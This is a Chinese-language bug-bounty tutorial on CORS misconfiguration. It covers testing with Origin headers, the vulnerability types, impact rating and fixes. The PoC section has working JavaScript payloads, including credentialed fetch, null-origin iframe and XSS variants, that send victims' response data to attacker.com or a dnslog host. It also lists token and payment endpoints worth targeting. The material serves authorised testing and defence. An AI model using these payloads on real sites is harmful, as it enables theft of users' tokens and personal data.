文章目录
-
- 引言
- 一、CORS漏洞原理
-
- [1. 同源策略与CORS](#1. 同源策略与CORS)
- [2. 漏洞触发条件](#2. 漏洞触发条件)
- [3. 与CSRF的区别](#3. 与CSRF的区别)
- 二、漏洞挖掘思路
-
- [1. 抓包观察历史请求](#1. 抓包观察历史请求)
- [2. 添加Origin头测试](#2. 添加Origin头测试)
- [3. 判断响应类型](#3. 判断响应类型)
- 三、常见CORS配置漏洞类型
-
- [1. 反射任意Origin](#1. 反射任意Origin)
- [2. 信任任意子域名](#2. 信任任意子域名)
- [3. NULL Origin信任](#3. NULL Origin信任)
- [4. 白名单域内漏洞(链式利用)](#4. 白名单域内漏洞(链式利用))
- 四、利用与POC构造
-
- [1. 构造恶意页面](#1. 构造恶意页面)
- [2. NULL Origin利用POC](#2. NULL Origin利用POC)
- [3. 配合XSS组合利用](#3. 配合XSS组合利用)
- 五、重点测试接口清单
-
- [1. 用户信息类接口](#1. 用户信息类接口)
- [2. 认证令牌类接口](#2. 认证令牌类接口)
- [3. 高价值功能点](#3. 高价值功能点)
- 六、实战测试流程
- 七、漏洞危害评估
-
- [1. 直接危害](#1. 直接危害)
- [2. 组合危害](#2. 组合危害)
- [3. 危害等级评定](#3. 危害等级评定)
- 八、修复建议
-
- [1. 严格白名单校验](#1. 严格白名单校验)
- [2. 凭证控制](#2. 凭证控制)
- [3. 接口层防护](#3. 接口层防护)
- [4. 监控与告警](#4. 监控与告警)
- 九、实战心得
-
- [1. 历史请求是宝藏](#1. 历史请求是宝藏)
- [2. 每个接口都要测](#2. 每个接口都要测)
- [3. 关注车联网/IoT场景](#3. 关注车联网/IoT场景)
- [4. JWT泄露后果最严重](#4. JWT泄露后果最严重)
- [5. 链式思维很重要](#5. 链式思维很重要)
- [6. 测试要全面](#6. 测试要全面)
- 十、总结
⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。
引言
CORS(跨域资源共享,Cross-Origin Resource Sharing)是现代Web应用中广泛使用的跨域机制,它通过一组HTTP响应头允许浏览器跨域加载资源。然而,CORS配置不当是SRC漏洞挖掘中的高频问题,可导致敏感信息泄露、账户接管等严重危害。与CSRF只允许"发请求"不同,CORS配置不当允许"读响应",这意味着攻击者可以读取受害者认证状态下的敏感数据。本文将系统性地介绍CORS漏洞的挖掘思路、测试方法与实战技巧。
一、CORS漏洞原理
1. 同源策略与CORS
同源策略(SOP)是浏览器的核心安全机制,禁止一个源的脚本读取另一个源的响应内容。CORS是一种"受控放宽"同源策略的机制,通过响应头声明允许哪些源跨域访问。
| 响应头 | 作用 |
|---|---|
Access-Control-Allow-Origin |
声明允许跨域访问的源 |
Access-Control-Allow-Credentials |
是否允许携带Cookie等凭证 |
Access-Control-Allow-Methods |
允许的HTTP方法 |
Access-Control-Allow-Headers |
允许的请求头 |
Access-Control-Max-Age |
预检请求缓存时间 |
2. 漏洞触发条件
CORS漏洞必须同时满足以下条件,三者缺一不可:
- 目标接口为敏感接口:返回用户敏感信息(如账号、令牌、个人资料等)
- 响应头
Access-Control-Allow-Origin可控或配置宽松:允许任意源、反射Origin、信任任意子域名 - 响应头
Access-Control-Allow-Credentials: true:允许携带Cookie等凭证
3. 与CSRF的区别
| 维度 | CSRF | CORS配置不当 |
|---|---|---|
| 请求类型 | 状态变更请求 | 读取类请求 |
| 能力边界 | 只能发请求,不能读响应 | 可读取响应内容 |
| 危害形式 | 以用户身份执行操作 | 窃取用户敏感数据 |
| 利用方式 | 表单/图片自动提交 | fetch/XHR携带Cookie读取 |
| 防护重点 | Token、SameSite Cookie | 严格的Origin白名单 |
二、漏洞挖掘思路
1. 抓包观察历史请求
CORS漏洞的发现起点不是直接构造Payload,而是先观察流量。在Burp Suite的HTTP历史记录中,关注所有返回敏感数据的接口:
重点关注接口类型:
- 用户信息接口:
/api/userinfo、/api/profile、/api/account - 认证令牌接口:返回JWT、Session、API Key的接口
- 个人资料接口:返回手机号、邮箱、身份证等
- 订单/资产接口:返回订单详情、账户余额等
实战技巧:很多CORS漏洞藏在历史请求中,浏览目标站点时主动触发各种功能(个人中心、订单查询、消息中心),让Burp收集完整流量后再统一分析。
2. 添加Origin头测试
对发现的所有敏感接口,逐一添加 Origin 头测试跨域响应:
测试步骤:
- 在Burp Repeater中重放请求
- 添加
Origin: https://attacker.com头 - 观察响应中
Access-Control-Allow-Origin的值 - 观察响应中
Access-Control-Allow-Credentials的值
3. 判断响应类型
根据响应头判断CORS配置是否存在问题:
| 响应情况 | 判断 | 风险等级 |
|---|---|---|
Allow-Origin 为固定目标网站域名 + Credentials: true |
配置正确 | 无风险 |
Allow-Origin 反射任意输入的Origin + Credentials: true |
存在漏洞 | 高危 |
Allow-Origin: * + Credentials: true |
浏览器禁止(互斥) | 无风险 |
Allow-Origin 信任任意子域名 + Credentials: true |
存在漏洞 | 高危 |
Allow-Origin 反射Origin但 Credentials 不为true |
仅限无凭证场景 | 中危 |
三、常见CORS配置漏洞类型
1. 反射任意Origin
漏洞表现 :服务器将请求中的 Origin 头原样回显到 Access-Control-Allow-Origin 响应头,同时设置 Access-Control-Allow-Credentials: true。
测试Payload:
http
Origin: https://attacker.com
漏洞响应:
http
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
成因:后端未做Origin白名单校验,直接反射Origin值。
2. 信任任意子域名
漏洞表现:服务器只校验Origin是否以目标域名结尾,攻击者可构造子域名绕过。
测试Payload:
http
Origin: https://attacker.target.com
Origin: https://target.com.attacker.com
Origin: https://attackercom.target.com
漏洞响应:
http
Access-Control-Allow-Origin: https://attacker.target.com
Access-Control-Allow-Credentials: true
成因 :后端使用 endsWith、contains 等宽松匹配,未做严格域名解析。
3. NULL Origin信任
漏洞表现 :服务器允许 Origin: null 的跨域请求。NULL Origin常出现在本地文件、sandbox iframe、跨协议重定向等场景。
测试Payload:
http
Origin: null
漏洞响应:
http
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
成因:后端未对null进行特殊处理,或误以为null是安全值。
4. 白名单域内漏洞(链式利用)
漏洞表现:目标接口配置了白名单,直接跳转外部域名会被拦截,但白名单域内存在另一个CORS配置不当的接口,可作为中间跳板。
测试思路:
- 测试白名单域内的所有子域名
- 寻找白名单域内反射Origin的接口
- 通过白名单域内的漏洞接口间接读取目标敏感数据
四、利用与POC构造
1. 构造恶意页面
确认存在CORS漏洞后,构造恶意HTML页面,诱使受害者(已登录目标站点)访问:
html
<!DOCTYPE html>
<html>
<head>
<title>正常页面标题</title>
</head>
<body>
<script>
// 目标敏感接口
const targetUrl = 'https://victim.com/api/userinfo';
fetch(targetUrl, {
credentials: 'include' // 强制携带Cookie
})
.then(response => response.text())
.then(data => {
// 将窃取的数据外带到攻击者服务器
fetch('https://attacker.com/leak?data=' + encodeURIComponent(data));
})
.catch(err => console.error(err));
</script>
</body>
</html>
2. NULL Origin利用POC
针对允许NULL Origin的场景,可利用iframe sandbox触发:
html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
fetch('https://victim.com/api/userinfo', {credentials: 'include'})
.then(r => r.text())
.then(d => {
fetch('https://attacker.com/leak?data=' + encodeURIComponent(d));
});
</script>"></iframe>
3. 配合XSS组合利用
当目标存在存储型/反射型XSS但响应中有严格CORS限制时,可结合XSS在同源下读取敏感数据:
html
<!-- XSS + CORS 组合利用 PoC -->
<script>
fetch('https://api.目标.com/getUserInfo',{
credentials:'include'
}).then(r=>r.text()).then(d=>{
// 窃取数据外带
new Image().src='https://your.dnslog?data='+encodeURIComponent(d);
})
</script>
组合利用场景:
- XSS可绕过CORS同源限制(因为是同源请求)
- XSS用于在目标域内执行JS,读取后再外带
- 当目标某个子域存在XSS,另一个子域存在敏感接口时可组合利用
五、重点测试接口清单
1. 用户信息类接口
| 接口类型 | 路径示例 | 返回内容 |
|---|---|---|
| 个人资料 | /api/userinfo、/api/profile |
用户基本信息 |
| 账户信息 | /api/account/info |
账户余额、等级 |
| 订单信息 | /api/order/list |
订单详情 |
| 消息中心 | /api/message/list |
私信内容 |
| 收货地址 | /api/address/list |
收货人信息 |
2. 认证令牌类接口
| 接口类型 | 路径示例 | 返回内容 |
|---|---|---|
| 令牌刷新 | /api/token/refresh |
新的JWT |
| 登录回调 | /api/auth/callback |
认证Token |
| API密钥 | /api/key/list |
API Key |
| 支付凭证 | /api/payment/token |
支付Token |
3. 高价值功能点
- 车联网/物联网平台:用户车辆信息、控制接口
- 企业管理后台:员工信息、财务数据
- 教育系统:学生信息、成绩、学籍
- 金融系统:账户余额、交易记录、支付凭证
- 云服务平台:AK/SK密钥、资源配置
六、实战测试流程
标准测试流程
1. 浏览目标站点,收集所有敏感接口
↓
2. 在Burp历史中筛选返回敏感数据的接口
↓
3. 对每个接口添加Origin头测试
↓
4. 判断Access-Control-Allow-Origin响应
↓
5. 若有问题,构造POC验证可窃取数据
↓
6. 评估漏洞危害,编写报告
测试注意事项
- 每个接口都要测:不要只测试用户信息接口,所有返回敏感数据的接口都要测
- 多种Origin测试:测试任意域名、子域名、NULL Origin、HTTPS变体
- 关注预检请求:复杂请求会先发OPTIONS预检,需确认预检响应是否可控
- 认证状态保持:测试时确保用户处于已登录状态
- 多场景验证:Web端、移动端H5、小程序内嵌页面可能配置不同
七、漏洞危害评估
1. 直接危害
- 敏感信息泄露:读取受害者个人信息、订单、资产等
- 认证令牌窃取:读取JWT、Session、API Key,实现账户接管
- 支付凭证泄露:读取支付Token,可发起未授权支付
- 企业数据泄露:读取企业内部数据、员工信息
2. 组合危害
- CORS + XSS:XSS绕过同源限制,CORS扩大数据读取范围
- CORS + CSRF:CORS读取CSRF Token,绕过CSRF防护
- CORS + 链式跳转:通过白名单域内漏洞间接读取数据
- CORS + 信息泄露:读取泄露的接口列表,发现更多攻击面
3. 危害等级评定
| 危害场景 | 等级 | 说明 |
|---|---|---|
| 窃取认证Token导致账户接管 | 严重 | 直接控制账户 |
| 窃取大量PII敏感信息 | 高危 | 个人隐私泄露 |
| 窃取普通业务信息 | 中危 | 业务数据泄露 |
| 仅可读取非敏感数据 | 低危 | 一般不被收录 |
八、修复建议
1. 严格白名单校验
- 配置严格的Origin白名单,禁止使用通配符
* - 不使用
endsWith、contains等宽松匹配 - 对Origin做完整域名解析后再校验
- NULL Origin 应被拒绝
2. 凭证控制
- 慎重设置
Access-Control-Allow-Credentials: true - 仅在确需跨域携带凭证的场景启用
- 非敏感接口禁用凭证携带
3. 接口层防护
- 敏感接口添加CSRF Token校验
- 关键操作要求二次认证
- 敏感数据脱敏返回
4. 监控与告警
- 监控异常Origin请求
- 对跨域请求做日志审计
- 异常跨域访问告警
九、实战心得
1. 历史请求是宝藏
很多CORS漏洞藏在历史请求中,不要只盯着当前页面的请求。通过Burp Suite完整记录浏览过程,再统一分析。
2. 每个接口都要测
不要只测试用户信息接口。订单、消息、地址、令牌刷新等所有返回敏感数据的接口都应测试CORS配置。
3. 关注车联网/IoT场景
车联网、物联网平台的用户控制接口一旦存在CORS漏洞,可能导致车辆远程控制,危害极其严重。
4. JWT泄露后果最严重
如果CORS漏洞可读取返回JWT的接口,可直接实现账户接管,这是最高价值的CORS漏洞场景。
5. 链式思维很重要
单个CORS漏洞可能无法直接利用,但通过白名单域内漏洞、XSS、信息泄露等组合,可形成完整攻击链。
6. 测试要全面
测试多种Origin变体:任意域名、子域名、NULL Origin、HTTPS/HTTP变体、端口号变体,不能只测一种。
十、总结
CORS漏洞是SRC漏洞挖掘中的高频问题,其危害程度取决于可读取的敏感数据类型。在SRC实战中:
- 测试覆盖要全:所有返回敏感数据的接口都应测试CORS配置
- Origin变体要全:任意域名、子域名、NULL Origin都要测试
- 链式思维要强:单个漏洞可能无法利用,组合利用威力大
- 危害评估要准:根据可读取数据类型评定等级,认证Token泄露最严重
通过本文介绍的方法和思路,相信读者能建立起完整的CORS漏洞挖掘思维体系,在SRC实战中发现更多高质量漏洞。